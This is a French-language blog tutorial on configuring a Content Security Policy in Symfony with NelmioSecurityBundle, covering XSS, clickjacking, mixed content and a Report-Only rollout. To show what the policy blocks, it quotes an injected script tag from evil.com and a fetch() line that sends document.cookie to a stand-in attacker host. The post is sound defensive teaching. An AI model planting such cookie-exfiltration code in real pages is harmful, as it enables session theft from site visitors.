Aller au contenu principal

CSP : le gilet pare-balles de votre site web

Protégez votre site des failles XSS avec une Content Security Policy (CSP) robuste. Configuration, pièges et stratégie Report-Only.

Publié le

Temps de lecture 5 min

Imaginez votre site web comme une boîte de nuit très exclusive. Actuellement, sans Content Security Policy (CSP), votre site est une passoire. N'importe qui peut entrer, commander des verres (charger des scripts), et parler aux clients (exfiltrer des cookies).

Une faille XSS (Cross-Site Scripting), c'est exactement ça : un intrus qui rentre et qui se fait passer pour le personnel.

La CSP est votre Videur. Et pas le videur sympa qui laisse entrer les amis. Le videur psychorigide qui a une liste de noms et qui ne laisse rien passer d'autre.

Le principe : liste blanche vs liste noire

La sécurité informatique échoue souvent quand elle essaie de deviner ce qui est mauvais (liste noire). Il y aura toujours une nouvelle attaque inconnue.

La CSP fonctionne à l'envers : elle définit strictement ce qui est autorisé (liste blanche). Tout le reste est interdit par défaut.

Le serveur envoie un header HTTP au navigateur : "Écoute-moi bien Chrome. Tu n'acceptes QUE les scripts qui viennent de mon domaine. Tu n'acceptes QUE les images de mon domaine. Si quelqu'un essaie de charger un script depuis evil-hacker.com, tu le tues."

Et le navigateur obéit. Même si l'attaquant a réussi son injection HTML, le script ne s'exécutera pas. C'est un Kill Switch redoutable.

Configuration dans Symfony (avec NelmioSecurityBundle)

Ne codez pas vos headers à la main. Utilisez NelmioSecurityBundle. C'est propre, maintenable et ça gère les subtilités des navigateurs.

Configuration dans Symfony (avec NelmioSecurityBundle)

Ne codez pas vos headers à la main. Utilisez NelmioSecurityBundle. C'est propre, maintenable et ça gère les subtilités des navigateurs.

Voici la configuration réelle que j'utilise sur ce blog (et qui tourne en prod) :

YAML
# config/packages/nelmio_security.yaml
nelmio_security:
    csp:
        enabled: true
        enforce:
            # 1. Le principe de base : on refuse tout par défaut
            default-src:
                - 'self' 
            
            # 2. Scripts : On bloque les injections inline (sauf si nonce/strict-dynamic)
            script-src:
                - 'self'
                - 'strict-dynamic' # Pour AssetMapper
                - 'https://www.googletagmanager.com' # Si vous avez des trackers
                - 'https://www.google-analytics.com'
                - 'https://www.clarity.ms'
            
            # 3. Styles : Attention à "unsafe-inline" !
            style-src:
                - 'self'
                - 'unsafe-inline' # ⚠️ Nécessaire pour MermaidJS ou certains styles dynamiques, mais risqué.
            
            # 4. Connexions (AJAX/Fetch) : Interdisez l'exfiltration de données
            connect-src:
                - 'self'
                - 'https://www.google-analytics.com'
                - 'https://c.clarity.ms'
            
            # 5. Images : Bloquez les pixels espions inconnus
            img-src:
                - 'self'
                - 'data:'
                - 'https:' # Un peu large, mais nécessaire si vous hébergez des images externes (CDN)
            
            # 6. Protection Iframe (Anti-Clickjacking) : Personne ne peut vous incruster
            frame-ancestors: ['none']
            
            # 7. Force HTTPS pour éviter le Man-in-the-Middle sur les contenus mixtes
            upgrade-insecure-requests: true

Les failles que cette config bouche (et celles qu'elle laisse passer)

1. XSS (Cross-Site Scripting) : Le grand classique

Avec script-src: 'self', si un attaquant injecte <script src="http://evil.com/hack.js"></script>, le navigateur bloquera le chargement. C'est le pare-feu ultime.

2. Exfiltration de données (Data Exfiltration)

Si l'attaquant injecte du JS (peu probable avec la protection 1) qui tente d'envoyer vos cookies via fetch('http://evil.com/steal?cookie=' + document.cookie), la directive connect-src le bloquera.

3. Clickjacking (L'iframe invisible)

Un attaquant place votre site en transparence au-dessus d'un bouton piégé. La directive frame-ancestors: ['none'] empêche quiconque d'afficher votre site dans une <iframe>. C'est radical : essayez, vous aurez une page blanche.

4. Le piège du unsafe-inline (Style)

Vous noterez le style-src: 'unsafe-inline' dans ma config. C'est une concession. Idéalement, il faudrait l'interdire. Mais certaines librairies JS (comme Mermaid pour les graphiques) injectent du CSS directement dans le DOM. Sans ça, mes graphiques sont cassés. Le risque ? Un attaquant peut injecter du CSS pour faire disparaître un bouton "Annuler" ou piéger visuellement un champ. C'est un risque calculé que j'accepte pour ce blog, mais que je refuserais sur une interface bancaire.

5. Mixed Content (HTTP dans HTTPS)

La directive upgrade-insecure-requests: true dit au navigateur : "Si je te demande une image en http://, sois gentil, essaie d'abord en https:// avant de paniquer". Ça évite les cadenas brisés pour des étourderies.

La Stratégie de Déploiement : "Report Only"

Ne déployez jamais une CSP stricte le vendredi. Vous allez casser votre site. Il y a toujours un script oublié qui traîne.

Utilisez le mode report_only: true. Dans ce mode, le navigateur n'interdit rien. Il laisse tout passer, MAIS il vous envoie un rapport discret en coulisses : "Hey, juste pour info, j'aurais bloqué ce script sur la page d'accueil".

  1. Activez report_only: true.
  2. Branchez un logger dessus.
  3. Laissez tourner une semaine.
  4. Analysez les logs (vous validerez les scripts légitimes oubliés).
  5. Passez en report_only: false (Mode Enforce).

Le mot de la fin

La CSP est votre assurance-vie contre le XSS. C'est parfois pénible à configurer. On peste quand une police d'écriture ne charge pas. Mais le jour où une faille est découverte dans une lib JS tierce que vous utilisez, et que votre CSP bloque silencieusement l'exfiltration de données de vos 10 000 clients, vous bénirez ce videur psychorigide.

Installez nelmio/security-bundle. Maintenant.

Gestion des cookies

J'utilise Google Analytics, Google Tag Manager et Microsoft Clarity pour améliorer votre expérience. Vous pouvez choisir les services que vous autorisez.

Le code est dans la boîte !

Vous recevrez bientôt les nouveaux billets dans votre boîte mail. Pas de spam, promis.

Désinscription possible à tout moment.